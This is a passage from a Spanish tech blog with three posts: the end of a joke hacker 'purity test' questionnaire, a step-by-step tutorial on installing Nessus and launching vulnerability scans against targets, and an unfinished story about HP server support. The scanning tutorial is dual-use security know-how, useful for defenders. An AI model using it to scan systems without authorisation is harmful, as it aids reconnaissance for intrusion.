style="-webkit-text-decorations-in-effect: underline; color: #0000ee;"><img alt="" border="0" id="BLOGGER_PHOTO_ID_5604059378763816178" src="http://1.bp.blogspot.com/-XaviecnMZ6k/TcWeUDtp3PI/AAAAAAAAAUY/3bG3BOgcLXk/s320/vt100guide.jpg" style="cursor: pointer; float: right; height: 300px; margin-bottom: 10px; margin-left: 10px; margin-right: 0px; margin-top: 0px; width: 226px;" /></span><div>0338 ... Prolog?</div><div>0339 ... RPG?</div><div>0340 ... Rexx (or ARexx)?</div><div>0341 ... SETL?</div><div>0342 ... Smalltalk?</div><div>0343 ... Snobol?</div><div>0344 ... VHDL?</div><div>0345 ... cualquier assembler?</div><div>0346 podes hablar VT-100?</div><div>0347 ... Postscript?</div><div>0348 ... SMTP?</div><div>0349 ... UUCP?</div><div>0350 ... English? </div><div>*micros</div><div>0351 alguna vez copiaste un disco con proteccion de copia?</div><div>0352 creaste un esquema de proteccion de copia?</div><div>0353 hiciste un disco "flippy"?</div><div>0354 alguna vez recuperaste datos desde un disco dañado?</div><div>0355 booteaste con un floppy sin la cubierta?</div><div>*redes</div><div>0356 alguna vez te logueaste en dos diferentes zonas horarias a la vez?</div><div>0357 memorizaste el mapa UUCP de tu pais?</div><div>0358 ... de todos los paises?</div><div>0359 encontraste un bug en sendmail?</div><div>0360 ... era un agujero de seguridad?</div><div>0361 memorizaste la tabla del archivo HOSTS.TXT?</div><div>0362 ... estas al dia?</div><div>0363 podes nombrar todos los nameservers de nivel superior y sus direcciones?</div><div>0364 te sabes el RFC-822 de memoria?</div><div>0365 ... podes nombrar todos los errores en el?</div><div>0366 escribiste un archivo de configuracion de Sendmail?</div><div>0367 ... funciono?</div><div>0368 murmuras "defocus" mientras dormis?</div><div>0369 conoces el maximo tiempo de vida de un paquete?</div><div>*sistemas operativos</div><div>0370 sabes usar BSD Unix?</div><div>0371 ... non-BSD Unix?</div><div>0372 ... AIX</div><div>0373 ... VM/CMS?</div><div>0374 ... VMS?</div><div>0375 ... MVS?</div><div>0376 ... VSE?</div><div>0377 ... RSTS/E?</div><div>0378 ... CP/M?</div><div>0379 ... COS?</div><div>0380 ... NOS?</div><div>0381 ... CP-67?</div><div>0382 ... RT-11?</div><div>0383 ... MS-DOS?</div><div>0384 ... Finder?</div><div>0385 ... PRODOS?</div><div>0386 ... mas de un sistema para el TRS-80?</div><div>0387 ... Tops-10?</div><span class="Apple-style-span" style="-webkit-text-decorations-in-effect: underline; color: #0000ee;"><img alt="" border="0" id="BLOGGER_PHOTO_ID_5604060298431193922" src="http://2.bp.blogspot.com/-vUjXl75-Xq8/TcWfJlvcY0I/AAAAAAAAAUg/ICp0XQ9r1d0/s320/teletype.jpg" style="cursor: pointer; float: right; height: 320px; margin-bottom: 10px; margin-left: 10px; margin-right: 0px; margin-top: 0px; width: 240px;" /></span><div>0388 ... Tops-20?</div><div>0389 ... OS-9?</div><div>0390 ... OS/2?</div><div>0391 ... AOS/VS?</div><div>0392 ... Multics?</div><div>0393 ... ITS?</div><div>0394 ... Vulcan?</div><div>0395 alguna vez paginaste o cambiaste una unidad de cinta?</div><div>0396 ... una lectora/perforadora de tarjetas?</div><div>0397 ... un teletipo?</div><div>0398 ... un disco de red?</div><div>0399 encontraste algun bug en un sistema operativo?</div><div>0400 ... lo explotaste?</div><div>0401 ... lo reportaste?</div><div>0402 fue ignorado tu reporte?</div><div>0403 alguna vez colgaste un sistema?</div><div>0404 ... intencionalmente?</div><div>*gente</div><div>0405 conoces a alguien?</div><div>0406 ... mas de una persona?</div><div>0407 ... mas de dos?</div><div>*personal</div><div>0408 ... estan tus cordones desatados?</div><div>0409 te relacionas bien con extraños?</div><div>0410 sos capaz de nombrar los numeros telefonicos de media docena de sistemas de computadoras pero incapaz de recordar el tuyo?</div><div>0411 te logueas despues del desayuno?</div><div>0412 consumis mas de la mitad de la dosis letal de cafeina por dia?</div><div>0413 contestas las preguntas de "esto" o "lo otro" con "si"?</div><div>0414 tenes una copia actualizada del manual de varios sistemas operativos?</div><div>0415 ... *todos* los sistemas operativos?</div><div>0416 otras personas tienen dificultad usando tu entorno personalizado?</div><div>0417 soñas en algun lenguaje de programacion?</div><div>0418 tenes dificultad enfocando objetos tridimensionales?</div><span class="Apple-style-span" style="-webkit-text-decorations-in-effect: underline; color: #0000ee;"><img alt="" border="0" id="BLOGGER_PHOTO_ID_5604061388768365730" src="http://1.bp.blogspot.com/-Okw8sBDCMN8/TcWgJDkFTKI/AAAAAAAAAUo/uME-O0shhBI/s320/mandelbrot.gif" style="cursor: pointer; float: right; height: 240px; margin-bottom: 10px; margin-left: 10px; margin-right: 0px; margin-top: 0px; width: 320px;" /></span><div>0419 ignoras el mouse?</div><div>0420 desprecias la tecla CAPS LOCK?</div><div>0421 crees q los menus pertenecen a los restaurants?</div><div>0422 tenes un Mandelbrot colgando en la pared?</div><div>0423 alguna vez decoraste con cinta magnetica o tarjetas perforadas?</div><div>0424 tenes un plato de disco o un floppy desarmado colgando en tu casa?</div><div>0425 alguna vez viste el amanecer?</div><div>0426 dos veces seguidas?</div><div>0427 usas la palabra "foobar" en una conversacion normal?</div><div>0428 ... "bletch"?</div><div>0429 usas la "P convention"?</div><div>0430 respondes automaticamente a cualquier pregunta de usuario con RTFM?</div><div>0431 ... sabes lo q significa?</div><div>0432 pensas q recoleccion de basura significa manejo de memoria?</div><div>0433 tenes problemas con el espacio horizontal en tu oficina/habitacion?</div><div>0434 lees "Scientific American" en bares para levantarte mujeres?</div><div>0435 tu patente esta relacionada con computadoras?</div><div>0436 hiciste el Purity Test?</div><div>0437 alguna vez tuviste una experiencia fuera de la CPU?</div><div>0438 hiciste una cita a ciegas a traves de la computadora?</div><div>0439 hablas con la persona al lado tuyo via computadora?</div><div>*programacion</div><div>0440 podes escribir un compilador de Fortran?</div><div>0441 ... en TECO?</div><div>0442 podes leer un dump?</div><div>0443 podes desensamblar codigo mentalmente?</div><div>0444 alguna vez escribiste un compilador?</div><div>0445 ... un sistema operativo?</div><div>0446 ... un driver?</div><div>0447 ... un procesador de texto?</div><div>0448 ... un display hack?</div><div>0449 ... un sistema de base de datos?</div><div>0450 ... un sistema experto?</div><div>0451 ... un edge detector?</div><span class="Apple-style-span" style="-webkit-text-decorations-in-effect: underline; color: #0000ee;"><img alt="" border="0" id="BLOGGER_PHOTO_ID_5604062240331183426" src="http://4.bp.blogspot.com/-WnUaphCHi5A/TcWg6n4etUI/AAAAAAAAAUw/c0VAuSyIX0Q/s320/computervirus.jpg" style="cursor: pointer; float: right; height: 240px; margin-bottom: 10px; margin-left: 10px; margin-right: 0px; margin-top: 0px; width: 320px;" /></span><div>0452 ... un sistema de control en tiempo real?</div><div>0453 ... un paquete de contabilidad?</div><div>0454 ... un virus?</div><div>0455 ... un profilactico? --- (virus)</div><div>0456 alguna vez escribiste un programa de biorritmo?</div><div>0457 ... vendiste los resultados?</div><div>0458 ... eran arbitrariamente inventados?</div><div>0459 alguna vez calculaste el valor de pi a mas de mil decimales?</div><div>0460 ... el numero e?</div><div>0461 podes encontrar un numero primo de mas de 100 digitos?</div><div>0462 escribiste codigo auto-modificable?</div><div>0463 ... estas orgulloso de ello?</div><div>0464 alguna vez escribiste un programa q corra sin problemas a la 1era vez?</div><div>0465 ... tenia mas de 20 lineas?</div><div>0466 ... 100 lineas?</div><div>0467 ... estaba en assembler?</div><div>0468 ... funciono la 2da vez?</div><div>0469 podes resolver las Torres de Hanoi recursivamente?</div><div>0470 ... no-recursivamente?</div><div>0471 ... usando el formateador de texto Troff?</div><div>0472 alguna vez mandaste algo al concurso de codigo C ofuscado?</div><div>0473 ... gano?</div><div>0474 ... inspiro una nueva regla?</div><div>0475 conoces el dispositivo de Duff?</div><div>0476 conoces el dispositivo de Jensen?</div><div>0477 alguna vez pasaste diez minutos tratando de encontrar un error de un solo caracter?</div><div>0478 ... mas de una hora?</div><div>0479 ... mas de un dia?</div><div>0480 ... mas de una semana?</div><div>0481 la 1er persona a la q se lo mostraste lo encontro inmediatamente?</div><div>*Unix</div><div>0482 podes usar Berkeley Unix?</div><div>0483 ... Unix No-Berkley?</div><div>0484 podes distinguir entre las secciones 4 y 5 del manual de Unix?</div><div>0485 podes encontrar TERMIO en la documentacion de System V release2?</div><div>0486 alguna vez montaste un cartucho como sistema de archivos Unix?</div><div>0487 alguna vez compilaste Minix?</div><div>0488 podes contestar correctamente "quiz function ed-command"?</div><div>0489 ... q tal "quiz ed-command function"</div><div>*Usenet</div><div>0490 lees noticias?</div><div>0491 ... mas de 32 grupos de noticias?</div><div>0492 ... mas de 256 grupos de noticias?</div><div>0493 ... todos los grupos de noticias?</div><div>0494 alguna vez posteaste un articulo?</div><div>0495 ... posteas regularmente?</div><div>0496 alguna vez posteaste un flame?</div><span class="Apple-style-span" style="-webkit-text-decorations-in-effect: underline; color: #0000ee;"><img alt="" border="0" id="BLOGGER_PHOTO_ID_5604062718184090738" src="http://4.bp.blogspot.com/-YqVzX48En2Y/TcWhWcBfbHI/AAAAAAAAAU4/jEnRD5YmaNQ/s320/bluebox.gif" style="cursor: pointer; float: right; height: 296px; margin-bottom: 10px; margin-left: 10px; margin-right: 0px; margin-top: 0px; width: 288px;" /></span><div>0497 ... alguna vez flameaste un cross-posting?</div><div>0498 ... siempre flameas un flame?</div><div>0499 ... flameas regularmente?</div><div>0500 posteaste algun programa en un grupo de sources?</div><div>0501 forjaste un posteo?</div><div>0502 alguna vez formaste un nuevo grupo de noticias?</div><div>0503 ... todavia existe?</div><div>0504 te acordas de mod.ber?</div><div>0506 ... the Stupid People's Court?</div><div>0507 ... Bandy-grams?</div><div>*preaking</div><div>0508 alguna vez armaste una black box?</div><div>0509 podrias nombrar todos los colores de boxes?</div><div>0510 ... y sus funciones asociadas?</div><div>0511 tiene tu telefono 16 botones DTMF?</div><div>0512 la ruptura de MaBell te crea mas oportunidades? --- (http://en.wikipedia.org/wiki/Bell_System_divestiture)</div><div><br /></div><div><br /></div><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3031385326498684086-2680768275215656224?l=locvtvs.blogspot.com' alt='' /></div>|_ocutushttp://www.blogger.com/profile/02250837178980619341noreply@blogger.com5tag:blogger.com,1999:blog-3031385326498684086.post-5120669275433225512011-04-01T14:04:00.031-03:002011-05-07T17:01:59.829-03:00<div style="text-align: center;"><u><br /></u></div><a href="http://1.bp.blogspot.com/-Fq9TOI2B7S4/TZZ_3cHXisI/AAAAAAAAASI/U28kcxgMoHw/s1600/nessus00.png" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"><img alt="" border="0" id="BLOGGER_PHOTO_ID_5590796577843677890" src="http://1.bp.blogspot.com/-Fq9TOI2B7S4/TZZ_3cHXisI/AAAAAAAAASI/U28kcxgMoHw/s320/nessus00.png" style="cursor: hand; cursor: pointer; float: left; height: 250px; margin: 0 10px 10px 0; width: 250px;" /></a><div style="text-align: justify;">nessus es un scanner de vulnerabilidades muy utilizado tanto x administradores de red como hackers... lo mejor para evitar un ataque es usar las mismas tecnicas q el atacante. la diferencia entre un simple scanner de puertos y uno de vulnerabilidades es q el 1ero simplemente trata de conectar a puertos abiertos en el objetivo mientras q en el 2do esa es solamente la 1era parte del trabajo.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">lo q hace nessus (y similares) es comenzar con un scanneo de puertos y despues en base a los resultados prueba una serie de exploits q almacena en su base de datos, estos "tests de vulnerabilidad" estan escritos en NASL (Nessus Attack Scripting Language) q es un lenguaje de scripting propio del sistema. esta base de datos es actualizable siempre y cuando registremos el software ya que hace unos años nessus dejo de ser gpl para pasar a tener licencia comercial aunque se puede registrar gratuitamente para uso hogareño.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">nessus esta disponible en versiones para linux, windows, OS X, freebsd y solaris y se puede descargar desde aca despues de aceptar la licencia:</div><div><br /></div><div>http://www.nessus.org/download/</div><div><br /></div><div><br /></div><div><b><span class="Apple-style-span" style="font-size: medium;"><span class="Apple-style-span" style="color: yellow;">instalacion y registro...</span></span></b></div><div><br /></div><div style="text-align: justify;">elegimos el paquete correspondiente a nuestro sistema y procedemos a instalarlo, en mi caso con dpkg:</div><div><br /></div><div><i>dpkg -i Nessus-4.4.1-debian5_i386.deb</i></div><div><br /></div><div>si fuera redhat/suse:</div><div><br /></div><div><i>rpm -ivh Nessus.....rpm</i></div><div><br /></div><div>y en windows... bue... click, next... como siempre ;)</div><div><br /></div><div style="text-align: justify;">en versiones anteriores nessus constaba de la parte server (la q hace el scanneo) y el cliente q se conectaba a este para indicarle lo q debe hacer. en esta version el cliente corre directamente desde cualquier browser asi q ya terminamos con la instalacion, solo hay q configurar un par de cosas para empezar a usarlo.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">a continuacion creamos un user para loguear en el server, el directorio de instalacion x default es /opt/nessus/ asi que ponemos:</div><div><br /></div><div><i>/opt/nessus/sbin/nessus-adduser</i></div><div><br /></div><div>lo q nos devuelve en pantalla:</div><div><br /></div><div><i>Login : username</i></div><div><i>Login password :</i></div><div><i>Login password (again) :</i></div><div><i>Do you want this user to be a Nessus 'admin' user ? (can upload plugins, etc...) (y/n) [n]: y</i></div><div><i>User rules</i></div><div><i>----------</i></div><div><i>nessusd has a rules system which allows you to restrict the hosts</i></div><div><i>that username has the right to test. For instance, you may want</i></div><div><i>him to be able to scan his own host only.</i></div><div><i><br /></i></div><div><i>Please see the nessus-adduser manual for the rules syntax</i></div><div><i><br /></i></div><div><i>Enter the rules for this user, and enter a BLANK LINE once you are done :</i></div><div><i>(the user can have an empty rules set)</i></div><div><i><br /></i></div><div><i>Login : username</i></div><div><i>Password : ***********</i></div><div><i>This user will have 'admin' privileges within the Nessus server</i></div><div><i>Rules :</i></div><div><i>Is that ok ? (y/n) [y] y</i></div><div><i>User added</i></div><div><br /></div><img alt="" border="0" id="BLOGGER_PHOTO_ID_5590798277201707810" src="http://3.bp.blogspot.com/-ZI0VveFU1aw/TZaBaWt5QyI/AAAAAAAAASg/SVkSA6wd-Qg/s320/hackers.jpg" style="cursor: hand; cursor: pointer; float: right; height: 264px; margin: 0 0 10px 10px; width: 271px;" /><div style="text-align: justify;">1ero nos pide el usuario, despues password y confirmacion y si queremos darle al user derechos de admin. a continuacion podemos definir un set de reglas para el usuario, lo dejamos en blanco presionando enter y finalmente nos muestra los datos de la cuenta y pide confirmacion. con el tema de las reglas se pueden restringir usuarios a ciertos rangos de ip x ejemplo, en el manual del comando se puede encontrar mas info sobre esto.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">antes de arrancar el proceso lo mejor es registrarnos en la pagina:</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">http://www.tenable.com/products/nessus/nessus-plugins/obtain-an-activation-code</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">elegimos "using nessus at home" y seguimos los pasos poniendo una direccion de correo valida ya q ahi nos envian la key de registro. una vez q la tenemos procedemos a registrarlo:</div><div><br /></div><div><i>locutus:/# /opt/nessus/bin/nessus-fetch --register XXXX-XXXX-XXXX-XXXX-XXXX</i></div><div><i>Your activation code has been registered properly - thank you.</i></div><div><i>Now fetching the newest plugin set from plugins.nessus.org...</i></div><div><br /></div><div style="text-align: justify;">se va a pasar asi un rato hasta actualizar la base de plugins asi q tengan paciencia y no corten el proceso hasta q termine. si no me hacen caso y lo cortan o pasa algo se puede actualizar haciendo:</div><div><br /></div><div><i>/opt/nessus/sbin/nessus-update-plugins</i></div><div><br /></div><div style="text-align: justify;">no me acuerdo si despues lanza solo el daemon pero en todo caso lo arrancamos como cualquier otro:</div><div><br /></div><div><i>/etc/init.d/nessusd start</i></div><div><br /></div><div><br /></div><div><b><span class="Apple-style-span" style="font-size: medium;"><span class="Apple-style-span" style="color: yellow;">scanneando...</span></span></b></div><div></div><br /><div style="text-align: justify;">una vez q el server esta instalado y corriendo solo queda abrir un navegador y poner:</div><div><br /></div><div><i>https://localhost:8834/</i></div><div><br /></div><div style="text-align: justify;">esperamos q cargue y nos muestra la pantalla de logueo:</div><div><br /><div class="separator" style="clear: both; text-align: center;"><a href="http://4.bp.blogspot.com/-xM-DFtEWeLQ/TZaCg3oyiUI/AAAAAAAAASw/khC2Zpq_4WQ/s1600/nessus001.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="215" src="http://4.bp.blogspot.com/-xM-DFtEWeLQ/TZaCg3oyiUI/AAAAAAAAASw/khC2Zpq_4WQ/s320/nessus001.jpg" width="320" /></a></div></div><div style="text-align: center;"><div style="text-align: -webkit-auto;"><br /></div></div><div style="text-align: justify;">lo 1ero es crear una politica de scanneo, vamos a "policies" y hacemos click en "add":</div><div><div class="separator" style="clear: both; text-align: -webkit-auto;"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="http://4.bp.blogspot.com/-6IbMPtYfE7o/TZaEXXVEo5I/AAAAAAAAAS4/SU-E8k2-yNI/s1600/nessus002+%25281%2529.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="51" src="http://4.bp.blogspot.com/-6IbMPtYfE7o/TZaEXXVEo5I/AAAAAAAAAS4/SU-E8k2-yNI/s320/nessus002+%25281%2529.jpg" width="320" /></a></div><br /></div><div style="text-align: justify;">en el siguiente menu especificamos los detalles del scanneo q vamos a correr, es recomendable mirar bien todo segun el caso si se quiere hacer algo mas dirigido y rapido, pero tambien pueden dejar todo x default y hacer el scanneo completo. se pueden cargar credenciales (win, ssh, kerberos, etc) si tienen alguna y elegir los plugins y las preferencias de cada uno.</div><div style="text-align: justify;"><br /></div><div><div class="separator" style="clear: both; text-align: center;"><a href="http://4.bp.blogspot.com/-2CXKQZBxA1g/TZaEeHVQggI/AAAAAAAAAS8/uab_Hs3Jvhc/s1600/nessus003.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="205" src="http://4.bp.blogspot.com/-2CXKQZBxA1g/TZaEeHVQggI/AAAAAAAAAS8/uab_Hs3Jvhc/s320/nessus003.jpg" width="320" /></a></div><br /></div><div><br /></div><div style="text-align: justify;">ahora ya podemos empezar el scaneo, vamos a "scans" y "add" y completamos los datos:</div><div><br /></div><div><div class="separator" style="clear: both; text-align: center;"><a href="http://2.bp.blogspot.com/-Z3zv2bqA2yY/TZaEj7Ww2PI/AAAAAAAAATA/I1eCDmSIpRE/s1600/nessus004.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="205" src="http://2.bp.blogspot.com/-Z3zv2bqA2yY/TZaEj7Ww2PI/AAAAAAAAATA/I1eCDmSIpRE/s320/nessus004.jpg" width="320" /></a></div><br /></div><div><br /></div><div style="text-align: justify;">un nombre para el scan, en policy elegimos la politica q recien creamos y en scan target el objetivo(s), click en "launch scan" y ya esta corriendo:</div><div><br /></div><div><div class="separator" style="clear: both; text-align: center;"><a href="http://4.bp.blogspot.com/-Y8zPKf01JvY/TZaEpmRlRFI/AAAAAAAAATE/GCFQFBbIwxk/s1600/nessus005.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="205" src="http://4.bp.blogspot.com/-Y8zPKf01JvY/TZaEpmRlRFI/AAAAAAAAATE/GCFQFBbIwxk/s320/nessus005.jpg" width="320" /></a></div></div><div><br /></div><div style="text-align: justify;">si hacemos click en el nombre del host y despues en "browse" podemos ver el progreso y al finalizar en reports vemos el reporte completo:</div><div><br /></div><div><div class="separator" style="clear: both; text-align: center;"><a href="http://1.bp.blogspot.com/-ujr49w0vOdY/TZaEwh_47lI/AAAAAAAAATI/lVrb5QExSX8/s1600/nessus006.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="205" src="http://1.bp.blogspot.com/-ujr49w0vOdY/TZaEwh_47lI/AAAAAAAAATI/lVrb5QExSX8/s320/nessus006.jpg" width="320" /></a></div><br /></div><div><br /></div><div style="text-align: justify;">y haciendo click en cada uno de los puertos se visualizan las vulnerabilidades encontradas junto con una descripcion del problema y la forma de parcharlo (o explotarlo) si esta disponible.</div><div><br /></div><div><div class="separator" style="clear: both; text-align: center;"><a href="http://3.bp.blogspot.com/-NCNRxYiBQ-A/TZaE25kIrmI/AAAAAAAAATM/xfz5ubis05M/s1600/nessus007.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="205" src="http://3.bp.blogspot.com/-NCNRxYiBQ-A/TZaE25kIrmI/AAAAAAAAATM/xfz5ubis05M/s320/nessus007.jpg" width="320" /></a></div><br /></div><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3031385326498684086-512066927543322551?l=locvtvs.blogspot.com' alt='' /></div>|_ocutushttp://www.blogger.com/profile/02250837178980619341noreply@blogger.com0tag:blogger.com,1999:blog-3031385326498684086.post-57686025091597424132011-03-10T16:52:00.010-03:002011-05-07T17:01:15.192-03:00<a href="https://lh5.googleusercontent.com/-UU_qa1P3QVo/TXk0o37sGNI/AAAAAAAAAQQ/1USqYJz02Ps/s1600/carepack2.jpg" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><br /><img border="0" height="200" src="https://lh5.googleusercontent.com/-UU_qa1P3QVo/TXk0o37sGNI/AAAAAAAAAQQ/1USqYJz02Ps/s200/carepack2.jpg" width="200" /></a><br /><div style="text-align: justify;">todo comenzo a finales de 2009, cambie de trabajo y una de mis primeras tareas era instalar un nuevo server de correo ya q el anterior era practicamente prehistorico, asi q me puse a buscar algo acorde con el sXXI. como anteriormente me habia manejado mucho con HP y nunca habia tenido problemas no dude en buscar algo de esa marca, el DL160 G6 me parecio bastante (y hasta demasiado) para lo q necesitaba asi q pedi presupuestos, aca se pueden ver las especificaciones del equipo:</div><br /><div><div class="separator" style="clear: both; text-align: left;">http://h10010.www1.hp.com/wwpc/us/en/sm/WF06a/15351-15351-3328412-241644-3328421-3884343.html</div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: justify;">lo pedi con un micro E5504, 8gb de memoria y 1Tb de disco. junto con uno de los presupuestos me ofrecen el famoso "Care Pack" de HP... y aca empieza la verdadera historia.</div></div><div><br /></div><div><br /></div><div><span class="Apple-style-span"><b><span class="Apple-style-span" style="font-size: medium;"><span class="Apple-style-span" style="color: yellow;">Care? Pack</span></span></b></span></div><div><br /></div><div><div style="text-align: justify;">el CarePack es simplemente una garantia extendida, se puede sacar para cualquier cosa, un desktop, laptop, hasta para una pocket... y x supuesto para servidores q es lo mas critico y donde esta el mayor negocio. las empresas no dudan en pagar el carepack con tal de tener un servicio rapido q no deje demasiado tiempo down sus servers.</div></div><div><div style="text-align: justify;"><br /></div></div><div><div style="text-align: justify;">en mis anteriores experiencias con HP trabajaba para empresas grandes con muchos "care packs" y la verdad q el servicio era bastante bueno. lo peor que me llego a pasar creo q fue una vez q se prendio fuego el backplane de un DL360 y al otro dia ya lo tenia andando. lo triste es q crei q el servicio era igual para todos, no q habia uno para los q tienen cientos de contratos y otro muy distinto para el q solo tiene uno... je</div></div><div><div style="text-align: justify;"><br /></div></div><div><div style="text-align: justify;">continuando... con el DL160 me ofrecen:</div></div><div><div style="text-align: justify;"><br /></div></div><div><div style="text-align: justify;"><i>Next Business Day On-site Service, 5-Day x 9-Hour Coverage, 3 Years U$S 228 + IVA (iva=21%)</i></div></div><div><div style="text-align: justify;"><br /></div></div><div><div style="text-align: justify;">mmmm... no es tan caro, ofrecen servicio on-site al otro dia de la incidencia 5x9, 3 años... sin esta extension la garantia es x 3 años y cubre soporte remoto y partes solamente... me cierra, compro.</div></div><div><br /></div><div><br /></div><div><b><span class="Apple-style-span" style="font-size: medium;"><span class="Apple-style-span" style="color: yellow;">instalando...</span></span></b></div><div><br /></div><div><div style="text-align: justify;">finalmente en noviembre tengo el server en mis manos con el correspondiente carepack, q segun la pagina de HP consiste en lo siguiente:</div></div><div><div style="text-align: justify;"><br /></div></div><div><div style="text-align: justify;">Respuesta en el sitio al día hábil siguiente: En el caso de problemas que no se pueden resolver en forma remota, un representante autorizado de Servicios HP visita el sitio al día siguiente de una llamada que cae dentro de una ventana de servicio contratada registrada. Servicios HP restaura el hardware cubierto a su condición operativa, reparando o reemplazando componentes o la unidad completa, si fuera necesario. La cobertura incluye todas las partes y los materiales requeridos.</div></div><div><br /></div><div>si fuera tan facil...</div><div><br /></div><div><a href="https://lh3.googleusercontent.com/-HkwMVXZPiaE/TXk1w3oKsZI/AAAAAAAAAQU/8lXVJro9IWk/s1600/centos.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="https://lh3.googleusercontent.com/-HkwMVXZPiaE/TXk1w3oKsZI/AAAAAAAAAQU/8lXVJro9IWk/s1600/centos.jpg" /></a><div style="text-align: justify;">el 1er "problema", q no era tan problema (o no lo parecia), era q tenia q usar todos sistemas libres ya q nadie queria pagar licencias. obvio linux y como venia todo en esa linea y preferi la estabilidad le meti con CentOS. cambie algunas cosas asi q estuve un buen rato configurando y migrando, postfix x sendmail, dovecot x courier, spamassassin, mailman, etc. y para dar el toque final cambie el prehistorico (pero muy solido) squirrel x el moderno roundcube... muy solido tambien, nunca un problema, lo recomiendo.</div></div><div><div style="text-align: justify;"><br /></div></div><div><div style="text-align: justify;">migro todo, cuentas, correos, cambio dns y lo pongo online. mas alla de los "pequeños detalles" q siempre puede haber en algo asi, queda todo funcionando ok y a la semana se podria decir q todo corre estable y sin carga casi para el server dado el poco trabajo q hacia.</div></div><div><div style="text-align: justify;"><br /></div></div><div style="text-align: justify;">asi estuvo todo unos 4 meses hasta q en abril un dia se cae... pero se cae raro, no carga el apache, no responden pop y smtp aunque si el ping, x ssh pide login y despues queda colgado. como trabajo remoto casi todo el tiempo me tengo q ir hasta el server fisicamente (casi 1hr de viaje), y lo encuentro con un lindo led frontal parpadeando en rojo...</div><div><br /></div><div><br /></div><div><b><span class="Apple-style-span" style="font-size: medium;"><span class="Apple-style-span" style="color: yellow;">health led</span></span></b></div><div><br /></div><div style="text-align: justify;">una luz roja nunca es buenas noticias, voy al manual y encuentro q el led es el correspondiente al "health" (salud) del equipo. no responde tampoco localmente y no me queda otra q reiniciarlo, le doy al boton y... no se apaga... fuck! no me quedo otra q sacarle la corriente. arranca y todo normal, como si nunca hubiera pasado nada.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">pruebo todo, miro logs... nada, simplemente en 1 momento le agarro un ataque y entro en coma. lo tomo como una falla aleatoria y rezo para q no vuelva a pasar pero a los dos dias mas o menos otra vez lo mismo, vuelvo a checkear todo y agrego temperaturas, memoria, disco... todo parece ok.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">mientras tanto agarro otra vez el manual para ver q me quiere decir el maldito "health led" y me encuentro con esto:</div><div style="text-align: justify;"><br /></div><div><a href="http://4.bp.blogspot.com/-R--oAVPcOoY/TXktythGmNI/AAAAAAAAAQA/KQ2ikEAA6xw/s1600/healthLed.jpg"><img alt="" border="0" height="264" id="BLOGGER_PHOTO_ID_5582543562337589458" src="http://4.bp.blogspot.com/-R--oAVPcOoY/TXktythGmNI/AAAAAAAAAQA/KQ2ikEAA6xw/s640/healthLed.jpg" style="display: block; margin-bottom: 10px; margin-left: auto; margin-right: auto; margin-top: 0px; text-align: center;" width="640" /></a></div><div><br /></div><div><br /></div><div style="text-align: justify;">y si, un led de "salud" en rojo es un error critico. como todo apunta al hard me meto en la web de HP, cargo el equipo con su correspondiente carepack, abro un caso y empieza el paseo. me piden un pequeño checkeo:</div><div><br /></div><div><i>#hpasmcli </i></div><div><i>hpasmcli&gt; show dimm </i></div><div><i>hpasmcli&gt; show fans </i></div><div><i>hpasmcli&gt; show iml </i></div><div><i>hpasmcli&gt; show powersupply </i></div><div><i>hpasmcli&gt; show server </i></div><div><i>hpasmcli&gt; show temp </i></div><div><i>hpasmcli&gt; exit</i></div><div><br /></div><div style="text-align: justify;">subir resultados a un FTP junto con logs del sistema... todo muy lindo, salvo q me contesta esto:</div><div><br /></div><div><i>- Diagnóstico del problema:</i></div><div><i>El servidor por parte del hardware no presenta ningún incidente, sin embargo la causa del bloqueo se debe a que el daemon "gconf" el cual almacena las opciones de la configuración del entorno gráfico y de los distintos programas se apaga:</i></div><div><i><br /></i></div><div><i>May 1 22:11:25 mail gconfd (root-1296): GConf server is not in use, shutting down.</i></div><div><i>May 1 22:11:25 mail gconfd (root-1296): Exiting</i></div><div><i>May 1 22:11:28 mail gconfd (root-1337): starting (version 2.14.0), pid 1337 user 'root'</i></div><div><i>May 1 22:11:28 mail gconfd (root-1337): Resolved address "xml:readonly:/etc/gconf/gconf.xml.mandatory" to a read-only configuration source at position 0</i></div><div><i>May 1 22:11:28 mail gconfd (root-1337): Resolved address "xml:readwrite:/root/.gconf" to a writable configuration source at position 1</i></div><div><i>May 1 22:11:28 mail gconfd (root-1337): Resolved address "xml:readonly:/etc/gconf/gconf.xml.defaults" to a read-only configuration source at position 2</i></div><div><i>May 3 07:05:47 mail syslogd 1.4.1: restart.</i></div><div><i><br /></i></div><div><i>Lo anterior debido a que es probable que la interfaz gráfica (X Window System o X) esté presentando un conflicto el cual lo provoca:</i></div><div><i><br /></i></div><div><i>Apr 29 12:18:15 mail gdm[3596]: gdm_slave_xioerror_handler: Fatal X error - Restarting :0</i></div><div><br /></div><div><br /></div><div>y me cierra el caso... xD</div><div><br /></div><div style="text-align: justify;">ese error es por abrir alguna aplicacion grafica x ssh y cerrarla mal, se q no deberia hacerlo pero es obvio q no tiene nada q ver con una luz roja ni con nada, ni siquiera es un error en realidad. ok, saco el servidor grafico a ver q me decis ahora...</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">queda corriendo en consola y a los 2 dias se vuelve a caer, abro otro caso y me 